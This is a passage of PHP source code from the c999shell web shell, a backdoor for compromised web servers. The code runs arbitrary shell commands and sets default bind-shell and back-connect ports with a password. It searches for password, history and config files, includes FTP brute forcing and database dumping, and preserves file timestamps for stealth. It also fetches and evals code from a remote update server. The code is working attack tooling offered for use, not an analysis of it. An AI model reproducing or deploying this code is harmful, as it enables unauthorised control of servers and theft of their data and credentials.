if ($surl_autofill_include and !$_REQUEST["c999sh_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}}
if (empty($surl))
{
 $surl = "?".$includestr; //Self url
}
$surl = htmlspecialchars($surl);

$timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited.

//Authentication
$login = ""; //login
//DON'T FORGOT ABOUT PASSWORD!!!
$pass = ""; //password
$md5_pass = ""; //md5-cryped pass. if null, md5($pass)

$host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1")
$login_txt = "Restricted area"; //http-auth message.
$accessdeniedmess = "<a href=\"http://ccteam.ru/releases/c999shell\">c999shell v.".$shver."</a>: access denied";

$gzipencode = TRUE; //Encode with gzip?

$updatenow = FALSE; //If TRUE, update now (this variable will be FALSE)

$c999sh_updateurl = "http://ccteam.ru/update/c999shell/"; //Update server
$c999sh_sourcesurl = "http://ccteam.ru/files/c999sh_sources/"; //Sources-server

$filestealth = TRUE; //if TRUE, don't change modify- and access-time

$donated_html = "<center><b>Owned by hacker</b></center>";
/* If you publish free shell and you wish
add link to your site or any other information,
put here your html. */
$donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html.

$curdir = "./"; //start folder
//$curdir = getenv("DOCUMENT_ROOT");
$tmpdir = ""; //Folder for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp)
$tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...)

$log_email = "user@host.tld"; //Default e-mail for sending logs

$sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending
$sort_save = TRUE; //If TRUE then save sorting-position using cookies.

// Registered file-types.
//  array(
//   "{action1}"=>array("ext1","ext2","ext3",...),
//   "{action2}"=>array("ext4","ext5","ext6",...),
//   ...
//  )
$ftypes  = array(
 "html"=>array("html","htm","shtml"),
 "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
 "exe"=>array("sh","install","bat","cmd"),
 "ini"=>array("ini","inf"),
 "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
 "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
 "sdb"=>array("sdb"),
 "phpsess"=>array("sess"),
 "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar")
);

// Registered executable file-types.
//  array(
//   string "command{i}"=>array("ext1","ext2","ext3",...),
//   ...
//  )
//   {command}: %f% = filename
$exeftypes  = array(
 getenv("PHPRC")." -q %f%" => array("php","php3","php4"),
 "perl %f%" => array("pl","cgi")
);

/* Highlighted files.
  array(
   i=>array({regexp},{type},{opentag},{closetag},{break})
   ...
  )
  string {regexp} - regular exp.
  int {type}:
0 - files and folders (as default),
1 - files only, 2 - folders only
  string {opentag} - open html-tag, e.g. "<b>" (default)
  string {closetag} - close html-tag, e.g. "</b>" (default)
  bool {break} - if TRUE and found match then break
*/
$regxp_highlight  = array(
  array(basename($_SERVER["PHP_SELF"]),1,"<font color=\"yellow\">","</font>"), // example
  array("config.php",1) // example
);

$safemode_diskettes = array("a"); // This variable for disabling diskett-errors.
 // array (i=>{letter} ...); string {letter} - letter of a drive
//$safemode_diskettes = range("a","z");
$hexdump_lines = 8;// lines in hex preview file
$hexdump_rows = 24;// 16, 24 or 32 bytes in one line

$nixpwdperpage = 100; // Get first N lines from /etc/passwd

$bindport_pass = "c999";  // default password for binding
$bindport_port = "31373"; // default port for binding
$bc_port = "31373"; // default port for back-connect
$datapipe_localport = "8081"; // default port for datapipe

// Command-aliases
if (!$win)
{
 $cmdaliases = array(
  array("-----------------------------------------------------------", "ls -la"),
  array("find all suid files", "find / -type f -perm -04000 -ls"),
  array("find suid files in current dir", "find . -type f -perm -04000 -ls"),
  array("find all sgid files", "find / -type f -perm -02000 -ls"),
  array("find sgid files in current dir", "find . -type f -perm -02000 -ls"),
  array("find config.inc.php files", "find / -type f -name config.inc.php"),
  array("find config* files", "find / -type f -name \"config*\""),
  array("find config* files in current dir", "find . -type f -name \"config*\""),
  array("find all writable folders and files", "find / -perm -2 -ls"),
  array("find all writable folders and files in current dir", "find . -perm -2 -ls"),
  array("find all service.pwd files", "find / -type f -name service.pwd"),
  array("find service.pwd files in current dir", "find . -type f -name service.pwd"),
  array("find all .htpasswd files", "find / -type f -name .htpasswd"),
  array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"),
  array("find all .bash_history files", "find / -type f -name .bash_history"),
  array("find .bash_history files in current dir", "find . -type f -name .bash_history"),
  array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"),
  array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"),
  array("list file attributes on a Linux second extended file system", "lsattr -va"),
  array("show opened ports", "netstat -an | grep -i listen")
 );
}
else
{
 $cmdaliases = array(
  array("-----------------------------------------------------------", "dir"),
  array("show opened ports", "netstat -an")
 );
}

$sess_cookie = "c999shvars"; // Cookie-variable name

$usefsbuff = TRUE; //Buffer-function
$copy_unset = FALSE; //Remove copied files from buffer after pasting

//Quick launch
$quicklaunch = array(
 array("<img src=\"".$surl."act=img&img=home\" alt=\"Home\" height=\"20\" width=\"20\" border=\"0\">",$surl),
 array("<img src=\"".$surl."act=img&img=back\" alt=\"Back\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.back(1)"),
 array("<img src=\"".$surl."act=img&img=forward\" alt=\"Forward\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.go(1)"),
 array("<img src=\"".$surl."act=img&img=up\" alt=\"UPDIR\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=ls&d=%upd&sort=%sort"),
 array("<img src=\"".$surl."act=img&img=refresh\" alt=\"Refresh\" height=\"20\" width=\"17\" border=\"0\">",""),
 array("<img src=\"".$surl."act=img&img=search\" alt=\"Search\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=search&d=%d"),
 array("<img src=\"".$surl."act=img&img=buffer\" alt=\"Buffer\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=fsbuff&d=%d"),
 array("<b>Encoder</b>",$surl."act=encoder&d=%d"),
 array("<b>Tools</b>",$surl."act=tools&d=%d"),
 array("<b>Proc.</b>",$surl."act=processes&d=%d"),
 array("<b>FTP brute</b>",$surl."act=ftpquickbrute&d=%d"),
 array("<b>Sec.</b>",$surl."act=security&d=%d"),
 array("<b>SQL</b>",$surl."act=sql&d=%d"),
 array("<b>PHP-code</b>",$surl."act=eval&d=%d"),
 array("<b>Update</b>",$surl."act=update&d=%d"),
 array("<b>Feedback</b>",$surl."act=feedback&d=%d"),
 array("<b>Self remove</b>",$surl."act=selfremove"),
 array("<b>Logout</b>","#\" onclick=\"if (confirm('Are you sure?')) window.close()")
);

//Highlight-code colors
$highlight_background = "#c0c0c0";
$highlight_bg = "#FFFFFF";
$highlight_comment = "#6A6A6A";
$highlight_default = "#0000BB";
$highlight_html = "#1300FF";
$highlight_keyword = "#007700";
$highlight_string = "#000000";

@$f = $_REQUEST["f"];
@extract($_REQUEST["c999shcook"]);

//END CONFIGURATION


// \/Next code isn't for editing\/
@set_time_limit(0);
$tmp = array();
foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));}
$s = "!^(".implode("|",$tmp).")$!i";
if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("<a href=\"http://ccteam.ru/releases/cc999shell\">c999shell</a>: Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");}
if (!empty($login))
{
 if (empty($md5_pass)) {$md5_pass = md5($pass);}
 if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass))
 {
  if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace("&nbsp;|<br>"," ",$donated_html));}
  header("WWW-Authenticate: Basic realm=\"c999shell ".$shver.": ".$login_txt."\"");
  header("HTTP/1.0 401 Unauthorized");
  exit($accessdeniedmess);
 }
}
if ($act != "img")
{
$lastdir = realpath(".");
chdir($curdir);
if ($selfwrite or $updatenow) {@ob_clean(); c999sh_getupdate($selfwrite,1); exit;}
$sess_data = unserialize($_COOKIE["$sess_cookie"]);
if (!is_array($sess_data)) {$sess_data = array();}
if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();}
if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();}

$disablefunc = @ini_get("disable_functions");
if (!empty($disablefunc))
{
 $disablefunc = str_replace(" ","",$disablefunc);
 $disablefunc = explode(",",$disablefunc);
}

if (!function_exists("c999_buff_prepare"))
{
function c999_buff_prepare()
{
 global $sess_data;
 global $act;
 foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
 foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
 $sess_data["copy"] = array_unique($sess_data["copy"]);
 $sess_data["cut"] = array_unique($sess_data["cut"]);
 sort($sess_data["copy"]);
 sort($sess_data["cut"]);
 if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}}
 else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}}
}
}
c999_buff_prepare();
if (!function_exists("c999_sess_put"))
{
function c999_sess_put($data)
{
 global $sess_cookie;
 global $sess_data;
 c999_buff_prepare();
 $sess_data = $data;
 $data = serialize($data);
 setcookie($sess_cookie,$data);
}
}
foreach (array("sort","sql_sort") as $v)
{
 if (!empty($_GET[$v])) {$$v = $_GET[$v];}
 if (!empty($_POST[$v])) {$$v = $_POST[$v];}
}
if ($sort_save)
{
 if (!empty($sort)) {setcookie("sort",$sort);}
 if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);}
}
if (!function_exists("str2mini"))
{
function str2mini($content,$len)
{
 if (strlen($content) > $len)
 {
  $len = ceil($len/2) - 2;
  return substr($content, 0,$len)."...".substr($content,-$len);
 }
 else {return $content;}
}
}
if (!function_exists("view_size"))
{
function view_size($size)
{
 if (!is_numeric($size)) {return FALSE;}
 else
 {
  if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
  elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
  elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
  else {$size = $size . " B";}
  return $size;
 }
}
}
if (!function_exists("fs_copy_dir"))
{
function fs_copy_dir($d,$t)
{
 $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
 if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
 $h = opendir($d);
 while (($o = readdir($h)) !== FALSE)
 {
  if (($o != ".") and ($o != ".."))
  {
   if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
   else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
   if (!$ret) {return $ret;}
  }
 }
 closedir($h);
 return TRUE;
}
}
if (!function_exists("fs_copy_obj"))
{
function fs_copy_obj($d,$t)
{
 $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
 $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
 if (!is_dir(dirname($t))) {mkdir(dirname($t));}
 if (is_dir($d))
 {
  if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
  return fs_copy_dir($d,$t);
 }
 elseif (is_file($d)) {return copy($d,$t);}
 else {return FALSE;}
}
}
if (!function_exists("fs_move_dir"))
{
function fs_move_dir($d,$t)
{
 $h = opendir($d);
 if (!is_dir($t)) {mkdir($t);}
 while (($o = readdir($h)) !== FALSE)
 {
  if (($o != ".") and ($o != ".."))
  {
   $ret = TRUE;
   if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
   else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}}
   if (!$ret) {return $ret;}
  }
 }
 closedir($h);
 return TRUE;
}
}
if (!function_exists("fs_move_obj"))
{
function fs_move_obj($d,$t)
{
 $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
 $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
 if (is_dir($d))
 {
  if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
  return fs_move_dir($d,$t);
 }
 elseif (is_file($d))
 {
  if(copy($d,$t)) {return unlink($d);}
  else {unlink($t); return FALSE;}
 }
 else {return FALSE;}
}
}
if (!function_exists("fs_rmdir"))
{
function fs_rmdir($d)
{
 $h = opendir($d);
 while (($o = readdir($h)) !== FALSE)
 {
  if (($o != ".") and ($o != ".."))
  {
   if (!is_dir($d.$o)) {unlink($d.$o);}
   else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
  }
 }
 closedir($h);
 rmdir($d);
 return !is_dir($d);
}
}
if (!function_exists("fs_rmobj"))
{
function fs_rmobj($o)
{
 $o = str_replace("\\",DIRECTORY_SEPARATOR,$o);
 if (is_dir($o))
 {
  if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
  return fs_rmdir($o);
 }
 elseif (is_file($o)) {return unlink($o);}
 else {return FALSE;}
}
}
if (!function_exists("myshellexec"))
{
function myshellexec($cmd)
{
 global $disablefunc;
 $result = "";
 if (!empty($cmd))
 {
  if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);}
  elseif (($result = `$cmd`) !== FALSE) {}
  elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
  elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
  elseif (is_resource($fp = popen($cmd,"r")))
  {
   $result = "";
   while(!feof($fp)) {$result .= fread($fp,1024);}
   pclose($fp);
  }
 }
 return $result;
}
}
if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}}
if (!function_exists("view_perms"))
{
function view_perms($mode)
{
 if (($mode & 0xC000) === 0xC000) {$type = "s";}
 elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
 elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
 elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
 elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
 elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
 elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
 else {$type = "?";}

 $owner["read"] = ($mode & 00400)?"r":"-";
 $owner["write"] = ($mode & 00200)?"w":"-";
 $owner["execute"] = ($mode & 00100)?"x":"-";
 $group["read"] = ($mode & 00040)?"r":"-";
 $group["write"] = ($mode & 00020)?"w":"-";
 $group["execute"] = ($mode & 00010)?"x":"-";
 $world["read"] = ($mode & 00004)?"r":"-";
 $world["write"] = ($mode & 00002)? "w":"-";
 $world["execute"] = ($mode & 00001)?"x":"-";

 if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}
 if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}
 if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}

 return $type.join("",$owner).join("",$group).join("",$world);
}
}
if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}}
if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}}
if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}}
if (!function_exists("parse_perms"))
{
function parse_perms($mode)
{
 if (($mode & 0xC000) === 0xC000) {$t = "s";}
 elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
 elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
 elseif (($mode & 0x8000) === 0x8000) {$t = "-";}
 elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
 elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
 elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
 else {$t = "?";}
 $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;
 $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;
 $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;
 return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
}
}
if (!function_exists("parsesort"))
{
function parsesort($sort)
{
 $one = intval($sort);
 $second = substr($sort,-1);
 if ($second != "d") {$second = "a";}
 return array($one,$second);
}
}
if (!function_exists("view_perms_color"))
{
function view_perms_color($o)
{
 if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";}
 elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";}
 else {return "<font color=green>".view_perms(fileperms($o))."</font>";}
}
}
if (!function_exists("c999getsource"))
{
function c999getsource($fn)
{
 global $c999sh_sourcesurl;
 $array = array(
  "c999sh_bindport.pl" => "c999sh_bindport_pl.txt",
  "c999sh_bindport.c" => "c999sh_bindport_c.txt",
  "c999sh_backconn.pl" => "c999sh_backconn_pl.txt",
  "c999sh_backconn.c" => "c999sh_backconn_c.txt",
  "c999sh_datapipe.pl" => "c999sh_datapipe_pl.txt",
  "c999sh_datapipe.c" => "c999sh_datapipe_c.txt",
 );
 $name = $array[$fn];
 if ($name) {return file_get_contents($c999sh_sourcesurl.$name);}
 else {return FALSE;}
}
}
if (!function_exists("c999sh_getupdate"))
{
function c999sh_getupdate($update = TRUE)
{
 $url = $GLOBALS["c999sh_updateurl"]."?version=".urlencode(base64_encode($GLOBALS["shver"]))."&updatenow=".($updatenow?"1":"0")."&";
 $data = @file_get_contents($url);
 if (!$data) {return "Can't connect to update-server!";}
 else
 {
  $data = ltrim($data);
  $string = substr($data,3,ord($data{2}));
  if ($data{0} == "\x99" and $data{1} == "\x01") {return "Error: ".$string; return FALSE;}
  if ($data{0} == "\x99" and $data{1} == "\x02") {return "You are using latest version!";}
  if ($data{0} == "\x99" and $data{1} == "\x03")
  {
   $string = explode("\x01",$string);
   if ($update)
   {
    $confvars = array();
    $sourceurl = $string[0];
    $source = file_get_contents($sourceurl);
    if (!$source) {return "Can't fetch update!";}
    else
    {
     $fp = fopen(__FILE__,"w");
     if (!$fp) {return "Local error: can't write update to ".__FILE__."! You may download c999shell.php manually <a href=\"".$sourceurl."\"><u>here</u></a>.";}
     else {fwrite($fp,$source); fclose($fp); return "Thanks! Updated with success.";}
    }
   }
   else {return "New version are available: ".$string[1];}
  }
  elseif ($data{0} == "\x99" and $data{1} == "\x04") {eval($string); return 1;}
  else {return "Error in protocol: segmentation failed! (".$data.") ";}
 }
}
}
if (!function_exists("mysql_dump"))
{
function mysql_dump($set)
{
 global $shver;
 $sock = $set["sock"];
 $db = $set["db"];
 $print = $set["print"];
 $nl2br = $set["nl2br"];
 $file = $set["file"];
 $add_drop = $set["add_drop"];
 $tabs = $set["tabs"];
 $onlytabs = $set["onlytabs"];
 $ret = array();
 $ret["err"] = array();
 if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");}
 if (empty($db)) {$db = "db";}
 if (empty($print)) {$print = 0;}
 if (empty($nl2br)) {$nl2br = 0;}
 if (empty($add_drop)) {$add_drop = TRUE;}
 if (empty($file))
 {
  $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql";
 }
 if (!is_array($tabs)) {$tabs = array();}
 if (empty($add_drop)) {$add_drop = TRUE;}
 if (sizeof($tabs) == 0)
 {
  // retrive tables-list
  $res = mysql_query("SHOW TABLES FROM ".$db, $sock);
  if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}
 }
 $out = "# Dumped by c999Shell.SQL v. ".$shver."
# Home page: http://ccteam.ru
#
# Host settings:
# MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."
# Date: ".date("d.m.Y H:i:s")."
# DB: \"".$db."\"
#---------------------------------------------------------
";
 $c = count($onlytabs);
 foreach($tabs as $tab)
 {
  if ((in_array($tab,$onlytabs)) or (!$c))
  {
   if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";}
   // recieve query for create table structure
   $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
   if (!$res) {$ret["err"][] = mysql_smarterror();}
   else
   {
    $row = mysql_fetch_row($res);
    $out .= $row["1"].";\n\n";
    // recieve table variables
    $res = mysql_query("SELECT * FROM `$tab`", $sock);
    if (mysql_num_rows($res) > 0)
    {
     while ($row = mysql_fetch_assoc($res))
     {
      $keys = implode("`, `", array_keys($row));
      $values = array_values($row);
      foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
      $values = implode("', '", $values);
      $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n";
      $out .= $sql;
     }
    }
   }
  }
 }
 $out .= "#---------------------------------------------------------------------------------\n\n";
 if ($file)
 {
  $fp = fopen($file, "w");
  if (!$fp) {$ret["err"][] = 2;}
  else
  {
   fwrite ($fp, $out);
   fclose ($fp);
  }
 }
 if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
 return $out;
}
}
if (!function_exists("mysql_buildwhere"))
{
function mysql_buildwhere($array,$sep=" and",$functs=array())
{
 if (!is_array($array)) {$array = array();}
 $result = "";
 foreach($array as $k=>$v)
 {
  $value = "";
  if (!empty($functs[$k])) {$value .= $functs[$k]."(";}
  $value .= "'".addslashes($v)."'";
  if (!empty($functs[$k])) {$value .= ")";}
  $result .= "`".$k."` = ".$value.$sep;
 }
 $result = substr($result,0,strlen($result)-strlen($sep));
 return $result;
}
}
if (!function_exists("mysql_fetch_all"))
{
function mysql_fetch_all($query,$sock)
{
 if ($sock) {$result = mysql_query($query,$sock);}
 else {$result = mysql_query($query);}
 $array = array();
 while ($row = mysql_fetch_array($result)) {$array[] = $row;}
 mysql_free_result($result);
 return $array;
}
}
if (!function_exists("mysql_smarterror"))
{
function mysql_smarterror($type,$sock)
{
 if ($sock) {$error = mysql_error($sock);}
 else {$error = mysql_error();}
 $error = htmlspecialchars($error);
 return $error;
}
}
if (!function_exists("mysql_query_form"))
{
function mysql_query_form()
{
 global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
 if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
 if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
 if ((!$submit) or ($sql_act))
 {
  echo "<table border=0><tr><td><form name=\"c999sh_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\">&nbsp;<input type=submit value=\"No\"></form></td>";
  if ($tbl_struct)
  {
   echo "<td valign=\"top\"><b>Fields:</b><br>";
   foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "» <a href=\"#\" onclick=\"document.c999sh_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";}
   echo "</td></tr></table>";
  }
 }
 if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}
}
}
if (!function_exists("mysql_create_db"))
{
function mysql_create_db($db,$sock="")
{
 $sql = "CREATE DATABASE `".addslashes($db)."`;";
 if ($sock) {return mysql_query($sql,$sock);}
 else {return mysql_query($sql);}
}
}
if (!function_exists("mysql_query_parse"))
{
function mysql_query_parse($query)
{
 $query = trim($query);
 $arr = explode (" ",$query);
 /*array array()
 {
  "METHOD"=>array(output_type),
  "METHOD1"...
  ...
 }
 if output_type == 0, no output,
 if output_type == 1, no output if no error
 if output_type == 2, output without control-buttons
 if output_type == 3, output with control-buttons
 */
 $types = array(
  "SELECT"=>array(3,1),
  "SHOW"=>array(2,1),
  "DELETE"=>array(1),
  "DROP"=>array(1)
 );
 $result = array();
 $op = strtoupper($arr[0]);
 if (is_array($types[$op]))
 {
  $result["propertions"] = $types[$op];
  $result["query"]  = $query;
  if ($types[$op] == 2)
  {
   foreach($arr as $k=>$v)
   {
    if (strtoupper($v) == "LIMIT")
    {
     $result["limit"] = $arr[$k+1];
     $result["limit"] = explode(",",$result["limit"]);
     if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);}
     unset($arr[$k],$arr[$k+1]);
    }
   }
  }
 }
 else {return FALSE;}
}
}
if (!function_exists("c999fsearch"))
{
function c999fsearch($d)
{
 global $found;
 global $found_d;
 global $found_f;
 global $search_i_f;
 global $search_i_d;
 global $a;
 if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
 $h = opendir($d);
 while (($f = readdir($h)) !== FALSE)
 {
  if($f != "." && $f != "..")
  {
   $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f));
   if (is_dir($d.$f))
   {
    $search_i_d++;
    if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;}
    if (!is_link($d.$f)) {c999fsearch($d.$f);}
   }
   else
   {
    $search_i_f++;
    if ($bool)
    {
     if (!empty($a["text"]))
     {
      $r = @file_get_contents($d.$f);
      if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";}
      if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);}
      if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);}
      else {$bool = strpos(" ".$r,$a["text"],1);}
      if ($a["text_not"]) {$bool = !$bool;}
      if ($bool) {$found[] = $d.$f; $found_f++;}
     }
     else {$found[] = $d.$f; $found_f++;}
    }
   }
  }
 }
 closedir($h);
}
}
if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}}
//Sending headers
@ob_start();
@ob_implicit_flush(0);
function onphpshutdown()
{
 global $gzipencode,$ft;
 if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad")))
 {
  $v = @ob_get_contents();
  @ob_end_clean();
  @ob_start("ob_gzHandler");
  echo $v;
  @ob_end_flush();
 }
}
function c999shexit()
{
 onphpshutdown();
 exit;
}
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
header("Cache-Control: no-store, no-cache, must-revalidate");
header("Cache-Control: post-check=0, pre-check=0", FALSE);
header("Pragma: no-cache");
if (empty($tmpdir))
{
 $tmpdir = ini_get("upload_tmp_dir");
 if (is_dir($tmpdir)) {$tmpdir = "/tmp/";}
}
$tmpdir = realpath($tmpdir);
$tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir);
if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;}
if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}
else {$tmpdir_logs = realpath($tmpdir_logs);}
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
{
 $safemode = TRUE;
 $hsafemode = "<font color=red>ON (secure)</font>";
}
else {$safemode = FALSE; $hsafemode = "<font color=green>OFF (not secure)</font>";}
$v = @ini_get("open_basedir");
if ($v or strtolower($v) == "on") {$openbasedir = TRUE; $hopenbasedir = "<font color=red>".$v."</font>";}
else {$openbasedir = FALSE; $hopenbasedir = "<font color=green>OFF (not secure)</font>";}
$sort = htmlspecialchars($sort);
if (empty($sort)) {$sort = $sort_default;}
$sort[1] = strtolower($sort[1]);
$DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
